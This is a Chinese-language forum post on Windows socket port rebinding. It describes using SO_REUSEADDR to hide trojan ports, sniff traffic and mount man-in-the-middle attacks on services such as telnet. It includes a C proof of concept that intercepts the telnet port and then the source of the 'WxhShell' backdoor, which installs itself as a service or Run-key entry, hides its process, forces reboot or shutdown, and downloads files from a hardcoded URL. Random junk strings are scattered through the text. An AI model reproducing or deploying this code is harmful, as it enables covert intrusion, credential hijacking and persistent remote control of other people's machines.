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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B#sc!eLmU&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Etn]e;z4  
!K6:W1  
  saddr.sin_family = AF_INET; i[WTp??Uv  
U4^dDj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h*d&2>"0m?  
0( /eSmet  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [,G]#<G?q  
`Mp]iD {  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8 rnr>Ee@  
"f5u2=7 }  
  这意味着什么?意味着可以进行如下的攻击: VZw("a*TB  
>;0z-;k6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4[rD|  
9u"im+=:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !4-NbtT  
Z#^2F8,]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &W|'rA'r  
 21w<8:Vg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I"Y?vj9]  
A}[Lk#|n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /kNr5s  
vC+mC4~/(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q7`zrCh  
.8fOc.h8h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W 6~<7  
ou96 P<B  
  #include N tg#-_]  
  #include 24|:VxO  
  #include kD"dZQx  
  #include    wBCnP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f)N67z6  
  int main() n |.- :Zy  
  { CbK7="48  
  WORD wVersionRequested; *)u_m h  
  DWORD ret; dI'C[.zp[  
  WSADATA wsaData; YHCXVu<.b  
  BOOL val; :=*>:*.Kb  
  SOCKADDR_IN saddr; ,cgC_ %  
  SOCKADDR_IN scaddr; zgVplp  
  int err; aLq=%fsV)  
  SOCKET s; [y>Q3UqN  
  SOCKET sc; ]FQ4v.7  
  int caddsize; [xM07%:  
  HANDLE mt; QDxLy aL  
  DWORD tid;   G{ F>=z"(l  
  wVersionRequested = MAKEWORD( 2, 2 ); 4#4kfGoT  
  err = WSAStartup( wVersionRequested, &wsaData ); JEFW}M)UGv  
  if ( err != 0 ) { xAz gQ  
  printf("error!WSAStartup failed!\n"); z,/dYvT<  
  return -1; x7{,4js  
  } K\n %&w  
  saddr.sin_family = AF_INET; 5p"*n kF  
   KLA nW#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /A##Yv!biR  
xp><7{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;|9VPv/  
  saddr.sin_port = htons(23); _FAwW<S4B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C8NbxP  
  { V<ODt%  
  printf("error!socket failed!\n"); RTF{<,E.UX  
  return -1; F~RUb&*/<  
  } l  4~'CLi  
  val = TRUE; MY1 tYO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u'?t'I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @A$%baH0  
  { Q"Q|]f*  
  printf("error!setsockopt failed!\n"); q@Q|oB0W$)  
  return -1; $Q]`+:g*}  
  } ;x+4jpH]B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x2|DI)J1'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !.3 MtXr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P\SD_8  
/Tv< l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oHeo]<Fbv  
  { 'fK_J}+P  
  ret=GetLastError(); :~6%nFo  
  printf("error!bind failed!\n"); AZ!G-73  
  return -1; \k;raQR4t*  
  } P+"#xH  
  listen(s,2); F(SeD)ml  
  while(1)  FcfN]!  
  { /D)@y548~~  
  caddsize = sizeof(scaddr); /<|J\G21  
  //接受连接请求 mc9$"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <-FZ-asem  
  if(sc!=INVALID_SOCKET) kC LeHH|K  
  { j|+B|   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?&/9b)cS  
  if(mt==NULL) aY3kww`  
  { 9f BD.9A  
  printf("Thread Creat Failed!\n"); {L<t6A  
  break; #1m!,tC  
  } ?]5wX2G^|J  
  } _)%4NjWKk  
  CloseHandle(mt); _);1dcnR  
  } :4)mv4Q  
  closesocket(s); w8{deSdfP  
  WSACleanup(); ;&:UxmTf  
  return 0; y fP&Q<|  
  }   QKHmOVh]  
  DWORD WINAPI ClientThread(LPVOID lpParam) rZ0@GA  
  { o"'VI4  
  SOCKET ss = (SOCKET)lpParam; )%#hpP M^  
  SOCKET sc; a#G7pZX/I}  
  unsigned char buf[4096]; ]G|@F :  
  SOCKADDR_IN saddr; _#N~$   
  long num; '@pav>UPD  
  DWORD val; bM;tQ38*  
  DWORD ret; {/B) YR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5|H?L@_9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @6t3Us~/  
  saddr.sin_family = AF_INET; $,6=.YuY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zvr(c|Q  
  saddr.sin_port = htons(23); u&pLF%'EQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }m0Lr:vq<r  
  { >1joCG~  
  printf("error!socket failed!\n"); w(mn@Qc  
  return -1; 1 u&P,&T  
  } xES+m/?KlZ  
  val = 100; z|pH>R?:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1 C[#]krh  
  { eeL%Yp3+  
  ret = GetLastError(); r-[z!S  
  return -1; %e1<N8E4  
  } ! '2'db  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]~a!O  
  { faMUd#o&  
  ret = GetLastError(); ,QKG$F  
  return -1; T,H]svN5p  
  } c~$ipX   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CQv [Od  
  { Y-9]J(  
  printf("error!socket connect failed!\n"); [Q^kO;  
  closesocket(sc); (& ~`!]  
  closesocket(ss); CTPn'P=\C  
  return -1; `5q`ibyPI  
  } *w@>zkBl  
  while(1) .|iUDp6vz  
  { 4@8i,q>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -u8@ .  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AY! zXJ_$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VfZ/SByh7p  
  num = recv(ss,buf,4096,0); KTf!Pf?g  
  if(num>0) kWoy%?|RRa  
  send(sc,buf,num,0); ?m~x%[Vn  
  else if(num==0) mTs[3opg  
  break; c4; `3  
  num = recv(sc,buf,4096,0); {/ty{  
  if(num>0) # ^%'*/z  
  send(ss,buf,num,0); x80~j(uVf  
  else if(num==0) "%}PVO!  
  break; ly^F?.e-  
  } hcN$p2-  
  closesocket(ss); Xf#;GYO|2  
  closesocket(sc); aC%0jJ<eo  
  return 0 ; 5Impv3qaZ  
  } { ! FrI@  
nQ/ha9v=n  
g`1*p|  
========================================================== u\Xi]pZ@X]  
M8g=t[\  
下边附上一个代码,,WXhSHELL *, {b]6v  
J@R+t6$3O  
========================================================== $jw!DrE  
!\"C<*5  
#include "stdafx.h" H5qa7JMZ  
>iG`  
#include <stdio.h> >\@6i s  
#include <string.h> ?.,cWKGQ}  
#include <windows.h> V;)'FJ)]  
#include <winsock2.h> =-vk}O0C  
#include <winsvc.h> "3\)@  
#include <urlmon.h> 'x!q*|zF2  
9VP|a-  
#pragma comment (lib, "Ws2_32.lib") +J#H9>To!  
#pragma comment (lib, "urlmon.lib") }>p)|Y T"/  
;JAe=wt^'I  
#define MAX_USER   100 // 最大客户端连接数 0|NbU  
#define BUF_SOCK   200 // sock buffer DE. Pw+5<.  
#define KEY_BUFF   255 // 输入 buffer no;Yu  
^:DlrI$  
#define REBOOT     0   // 重启 T!/$ @]%\7  
#define SHUTDOWN   1   // 关机 1`h`-dqr#  
n JLr]`_  
#define DEF_PORT   5000 // 监听端口 AWf zMJ;VS  
q WP1i7]=/  
#define REG_LEN     16   // 注册表键长度 Nzr zLK  
#define SVC_LEN     80   // NT服务名长度 #xts*{u-#  
r]8B6iV  
// 从dll定义API Omh(UHZBB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1{u;-pg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ss-Be  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BD9` +9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8LiRZ"  
[#14atv  
// wxhshell配置信息 /'">H-r  
struct WSCFG { D* Vr)J  
  int ws_port;         // 监听端口 ?+dI/jB4X  
  char ws_passstr[REG_LEN]; // 口令 I5 [r-r  
  int ws_autoins;       // 安装标记, 1=yes 0=no gA.G:1v  
  char ws_regname[REG_LEN]; // 注册表键名 wV U(Du  
  char ws_svcname[REG_LEN]; // 服务名 ;rk}\M$+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \8<bb<`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jk(b=j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -|V@zSKr3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o_={xrmIA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [*50Ng>P`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ sM$O>  
na/t=<{  
}; u8o!ncy  
<Oy%  
// default Wxhshell configuration bt~-=\  
struct WSCFG wscfg={DEF_PORT, f^0vkWI2  
    "xuhuanlingzhe", lOZ.{0{f,  
    1, 6 rmK_Y  
    "Wxhshell", |F6C&GNYT  
    "Wxhshell", 'jmcS0f -  
            "WxhShell Service", y.mojx%?a  
    "Wrsky Windows CmdShell Service", rWa7"<`p  
    "Please Input Your Password: ", 1R,n[`}h  
  1, spFsrB  
  "http://www.wrsky.com/wxhshell.exe", \`4}h[  
  "Wxhshell.exe" `W|2Xi=^5  
    }; "7gS*v,r  
;'cv?3Y  
// 消息定义模块 1!=$3]l0Lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'v\!}6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sgr<z d'b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a}e7Q<cGj  
char *msg_ws_ext="\n\rExit."; 0Z9jlwcQ  
char *msg_ws_end="\n\rQuit."; rytizbc  
char *msg_ws_boot="\n\rReboot..."; 0MPsF{Xw[  
char *msg_ws_poff="\n\rShutdown..."; r+ vtKb  
char *msg_ws_down="\n\rSave to "; if_e$,dh~>  
>,1'[) _  
char *msg_ws_err="\n\rErr!"; )[zyvU. J3  
char *msg_ws_ok="\n\rOK!"; )w/f 'fq  
62Jn8DwAT  
char ExeFile[MAX_PATH]; 3)GXu>) t  
int nUser = 0; ?J)%.~!  
HANDLE handles[MAX_USER]; mflI>J=g  
int OsIsNt; kqHh@]Z0'  
0aGfz=V&  
SERVICE_STATUS       serviceStatus; 9:@os0^O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $\a;?>WA"  
=U@*adgw  
// 函数声明 LzgD#Kz  
int Install(void); /mr&Y}7T  
int Uninstall(void); z<@$$Z=0UF  
int DownloadFile(char *sURL, SOCKET wsh); k&^Megcb  
int Boot(int flag); L@G)K  
void HideProc(void); R HF;AX n  
int GetOsVer(void); R]ppA=1*_l  
int Wxhshell(SOCKET wsl); L.|GC7$0  
void TalkWithClient(void *cs); WqTW@-}ID  
int CmdShell(SOCKET sock); iUl{_vb  
int StartFromService(void); A"9aEOX-?i  
int StartWxhshell(LPSTR lpCmdLine); 3V,X=  
dQ^k-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TF3Tha]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;1eu8N8  
_&BnET  
// 数据结构和表定义 [ BN2c  
SERVICE_TABLE_ENTRY DispatchTable[] = E}a3.6)p  
{ IkkJ4G  
{wscfg.ws_svcname, NTServiceMain}, blp)a  
{NULL, NULL} Xe+Hez,  
}; :0srFg?X  
e3[QM  
// 自我安装 W>@+H"pZ  
int Install(void) =`/X Wem  
{ eyo)Su  
  char svExeFile[MAX_PATH]; 4P` \fz  
  HKEY key;  sRoZvp 5  
  strcpy(svExeFile,ExeFile); t+h"YiT  
J(l6(+8  
// 如果是win9x系统,修改注册表设为自启动 @MN>ye'T  
if(!OsIsNt) { 06=eA0JI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c85B-/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W]y$6P  
  RegCloseKey(key); otPEJ^W&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|PxEif+J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FyY;F;4P  
  RegCloseKey(key); (/hF~A  
  return 0; wOa_"  
    } 3K#e]zoI  
  } M{(Y|3W  
} |\}f)Xp-  
else { ? 8~$du$  
Um9=<*p  
// 如果是NT以上系统,安装为系统服务 Gn_v}31d%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -''vxt?7H&  
if (schSCManager!=0) &0ULj6jj  
{ !p9BH6$`  
  SC_HANDLE schService = CreateService s"Kp+tTWj  
  ( 7IIM8/BI  
  schSCManager, :F<a~_k  
  wscfg.ws_svcname, 3^`bf=R  
  wscfg.ws_svcdisp, GZ4{<QG  
  SERVICE_ALL_ACCESS, cb UVeh7Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5-&P4  
  SERVICE_AUTO_START, rP3)TeG6  
  SERVICE_ERROR_NORMAL, As>po +T*  
  svExeFile, .y'OoDe  
  NULL, NtT)Wl  
  NULL, vhUuf+P*  
  NULL, _ !Ph1  
  NULL, 2C-RoZ~  
  NULL $iF7hyZ  
  ); %M^bZ?  
  if (schService!=0) ''WX  
  { d&U;rMEv  
  CloseServiceHandle(schService); 'dht5iI;Yw  
  CloseServiceHandle(schSCManager); .t}nznh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y< M}'t  
  strcat(svExeFile,wscfg.ws_svcname); WK<pZ *x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uZ'5&k96T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ll5Kd=3  
  RegCloseKey(key); "n05y}  
  return 0; Q2#)Jx\6!  
    } %R_8`4IQ  
  } t71 0sWh{  
  CloseServiceHandle(schSCManager); 1-b,X]i  
} ho:,~ A;k  
} ) .]Z}g&  
+)F8YMg e  
return 1; dvxH:,  
} Sa@Xh,y Z  
0u0Hl%nl  
// 自我卸载 I4") ;T3  
int Uninstall(void) ]9x30UXLwD  
{ R2;-WxnN]  
  HKEY key; D/giM#"  
$MR{3-  
if(!OsIsNt) { 66BsUA.h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y- w5S|!  
  RegDeleteValue(key,wscfg.ws_regname); WIhf*LF"  
  RegCloseKey(key); S5uV\Y/A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GEvif4  
  RegDeleteValue(key,wscfg.ws_regname); 0_Y;r{3m"  
  RegCloseKey(key); lvFHr}W  
  return 0; _x>u "w  
  } [PU.lRq  
} swJwy~  
} )@sz\yI%U  
else { )qxL@w.  
KpK'?WhX7^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !X,=RR `zT  
if (schSCManager!=0) ukPV nk  
{ 1 8&^k|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T0Gu(c`1d  
  if (schService!=0) , R]7{7$  
  { DG& kY+  
  if(DeleteService(schService)!=0) { gFW1Nm_DJ  
  CloseServiceHandle(schService); >=B8PK+<  
  CloseServiceHandle(schSCManager); ~+|p.(I  
  return 0; x JepDCUJ>  
  } $A-b-`X  
  CloseServiceHandle(schService); |M+ !O93  
  } ho0T$hB  
  CloseServiceHandle(schSCManager); @F=4B0=  
} UyvFR@  
} YoahqXR`  
W;o\}irep  
return 1; ]pFYAe ?  
} 6 .*=1P*?  
Yr0%ZYfN  
// 从指定url下载文件 p;C`n)7P7  
int DownloadFile(char *sURL, SOCKET wsh) 0/),ylCj  
{ o05) I2  
  HRESULT hr; Ldig/:  
char seps[]= "/"; O1-Ne.$  
char *token; z*kn.sW  
char *file; ;Cv x48  
char myURL[MAX_PATH]; m'a3}vRV(  
char myFILE[MAX_PATH]; _o<8R@1  
=0O`VSb  
strcpy(myURL,sURL); ] $Z aS\m  
  token=strtok(myURL,seps); IV!&jL  
  while(token!=NULL) I]zCsT.  
  { $Y>LUZ)b&8  
    file=token; ;ML21OjgN  
  token=strtok(NULL,seps); U@i+XZc"S  
  } XN??^1{J}]  
Vo%@bj~>  
GetCurrentDirectory(MAX_PATH,myFILE); $+ lc;N  
strcat(myFILE, "\\"); Dy5'm?  
strcat(myFILE, file); 0f1*#8-6  
  send(wsh,myFILE,strlen(myFILE),0); m+,a=sR  
send(wsh,"...",3,0); cO_En`F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mpN|U(n  
  if(hr==S_OK) =C u !  
return 0; ax,%07hJ  
else P>Pw;[b>O  
return 1; yX<Sk q  
O cd ^{u  
} j<e`8ex?  
abx /h#_q  
// 系统电源模块 #jbo! wdg  
int Boot(int flag) wxN'Lv=R  
{ 9qIjs$g  
  HANDLE hToken; W(Xb]t=19  
  TOKEN_PRIVILEGES tkp; Z!v)zH\  
0%#ZupN  
  if(OsIsNt) { p^<*v8,~7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [y&yy|*\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {OH "d  
    tkp.PrivilegeCount = 1; 1T!(M"'Ij  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^ yyL4{/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 cvoI  
if(flag==REBOOT) { J7c(qGJI2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .T#h5[S2x  
  return 0; ]>B>.s  
} R %aed>zo  
else { M4~^tML>Ey  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .SAOE'Foo  
  return 0; \u9l4  
} ViKN|W >T  
  } M&wf4)*%0+  
  else { *QH@c3vUe\  
if(flag==REBOOT) { o/t^rY y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XOe)tz L  
  return 0; 4"at~K` Q  
} Py_yIwQqg  
else { `O/1aW1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bwG$\Oe6  
  return 0; Na=.LW-ma=  
} vz[oy|{F  
} qT5q3A(8  
Bi:%}8STH  
return 1; 62)Qr  
} J2W#vFe\  
Z8I  Y!d  
// win9x进程隐藏模块 4L)#ku$jW  
void HideProc(void) `n)e] dn  
{ d< j+a1&  
}Vjg>"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @{n"/6t  
  if ( hKernel != NULL ) 3)cH\gsg9  
  { AAuH}W>n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >BFUts%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~}Xd{afo  
    FreeLibrary(hKernel); !Pd@0n4  
  } "{>BP$Jz  
$S(<7[Z  
return; (q o ?e2K  
} x *:v]6y  
]L)l5@5^  
// 获取操作系统版本 ?DJ/Yw>>3  
int GetOsVer(void) > oh7f|  
{ f"9aL= 3  
  OSVERSIONINFO winfo; 2PZ#w(An&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'vCl@x$  
  GetVersionEx(&winfo); = j)5kY`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |2AMj0V~  
  return 1; 6,Z.R T{5  
  else Mj!\EUn  
  return 0; %'o'Kh''=  
} Y2$wL9">  
Q 8| C>$n  
// 客户端句柄模块 9 696EQ,I  
int Wxhshell(SOCKET wsl) fj"1TtPq#  
{ V) xwlvX  
  SOCKET wsh; _"l2UDx  
  struct sockaddr_in client;  T&'p5h=l  
  DWORD myID; =Vie0TV&h  
'Hf+Y/`  
  while(nUser<MAX_USER) 10}< n_I  
{ = q \TWz  
  int nSize=sizeof(client); u0;k_6N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p`qy57  
  if(wsh==INVALID_SOCKET) return 1; W79Sz}):  
pG&#xRk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nb3uDA5R  
if(handles[nUser]==0) .D3k(zZ  
  closesocket(wsh); M!tR>NMH  
else k^@dDLr"  
  nUser++; He9Er  
  } nixIKOnjC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QtHK`f>4#n  
Se}&2 R  
  return 0; `a6AES'w$  
} q:cCk#ra  
u u$Jwn!S  
// 关闭 socket O>y*u8  
void CloseIt(SOCKET wsh) ;:  xE'-  
{ {zIcEN$ ~  
closesocket(wsh); y$8S+N?>  
nUser--; kD46Le++B  
ExitThread(0); .QW@rV:T  
} U! $/'Xi9  
@6kkt~>:  
// 客户端请求句柄 \_)[FC@  
void TalkWithClient(void *cs) L[voouaqm  
{ uCHM  
<:>[24LJ{  
  SOCKET wsh=(SOCKET)cs; bfq%.<W  
  char pwd[SVC_LEN]; 1\aV4T  
  char cmd[KEY_BUFF];  G){A&F  
char chr[1]; 9 K>~9Za  
int i,j; ly`\TnC  
LEg ?/!LIT  
  while (nUser < MAX_USER) { B{K_?ae!  
o'_eLp  
if(wscfg.ws_passstr) { Tmk'rOg5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SveP:uJA[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #y8Esik  
  //ZeroMemory(pwd,KEY_BUFF); p4uN+D `.U  
      i=0; h AJ^(|  
  while(i<SVC_LEN) { Ip0`R+8  
aJ J)ZP2+  
  // 设置超时 qzWnl[3  
  fd_set FdRead; &`}d;r|yn1  
  struct timeval TimeOut; .[ s6x5M  
  FD_ZERO(&FdRead); =)%~QK {Y  
  FD_SET(wsh,&FdRead); J u"/#@  
  TimeOut.tv_sec=8; )_kU,RvZ  
  TimeOut.tv_usec=0; ~ Ofn&[G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); swg*fhJFB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L*6>S_l[  
^YB3$:@$U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /tJ%gF  
  pwd=chr[0]; |ADg#oX  
  if(chr[0]==0xd || chr[0]==0xa) { 6RfS_  
  pwd=0; geNvp0  
  break; ybcCq]cgt  
  } n{!=gR.v.  
  i++; { 3Qlx/6<  
    } ;vUw_M{P=)  
^qtJcMK+hq  
  // 如果是非法用户,关闭 socket .X"\ Mg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *>T@3G.{Rm  
} CtHsi8m  
#;\tgUQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t?FPmbj v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Wt1Ph_;  
BAy)P1  
while(1) { &ZJ$V  
~V/?/J$  
  ZeroMemory(cmd,KEY_BUFF); #VuiY  
,ysn7Y{Y  
      // 自动支持客户端 telnet标准   <$8e;:#:  
  j=0; N#^o,/  
  while(j<KEY_BUFF) { npcL<$<6X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }^PdW3O*m,  
  cmd[j]=chr[0]; 6~Y`<#X5J  
  if(chr[0]==0xa || chr[0]==0xd) { wTn"  
  cmd[j]=0; 5xc-MkIRL  
  break; Ekz)Nh)vGR  
  } A"B[F#  
  j++; 2w:cdAv$  
    } E>rWm_G  
ys9MV%*  
  // 下载文件 Gl5W4gW;&  
  if(strstr(cmd,"http://")) { #po}Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k5)e7Lb(  
  if(DownloadFile(cmd,wsh)) &uxwz@RC0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|3NCyJ*7  
  else Zc*gRC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ui>NTl  
  } R^GLATM  
  else { !,N),xG}~  
cz$q~)I$  
    switch(cmd[0]) { m>-(c=3  
  )-d &XN7  
  // 帮助 [X=Ot#?u ~  
  case '?': { H3jb{S b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \:91BQP c  
    break; Qrt> vOUE7  
  } GA@Zfcg  
  // 安装 \S"YLRn"  
  case 'i': { #:M)a?E/%  
    if(Install()) &B>YiA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-N*Jhg  
    else ZYD3[" ~x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9oJ=:E~CP  
    break; b7? 2Pu  
    } t /CE,DQ  
  // 卸载 WjvD C"  
  case 'r': { Kly`V]XE  
    if(Uninstall()) ~F9WR5}]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p*Hbc|?{Q&  
    else 5\$8"/H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@1*-4l  
    break;  mH*6Q>  
    } 6v}WdK  
  // 显示 wxhshell 所在路径 CGkCLd*s]  
  case 'p': { y #Xq@  
    char svExeFile[MAX_PATH]; @(H  
    strcpy(svExeFile,"\n\r"); ce\ F~8y  
      strcat(svExeFile,ExeFile); _o-D},f*e  
        send(wsh,svExeFile,strlen(svExeFile),0); G6L /Ny3>_  
    break; _P*<T6\J>  
    } ?4i:$.A Y  
  // 重启 RxVf:h'l  
  case 'b': { O[[#\BL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kM T73OI>_  
    if(Boot(REBOOT)) +]%d'h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gr")Jw7  
    else { vQpR0IEf]e  
    closesocket(wsh); .<C}/Cl  
    ExitThread(0); Y|iJO>_Uu=  
    } 4(f4 4' ^  
    break; .Z"p'v  
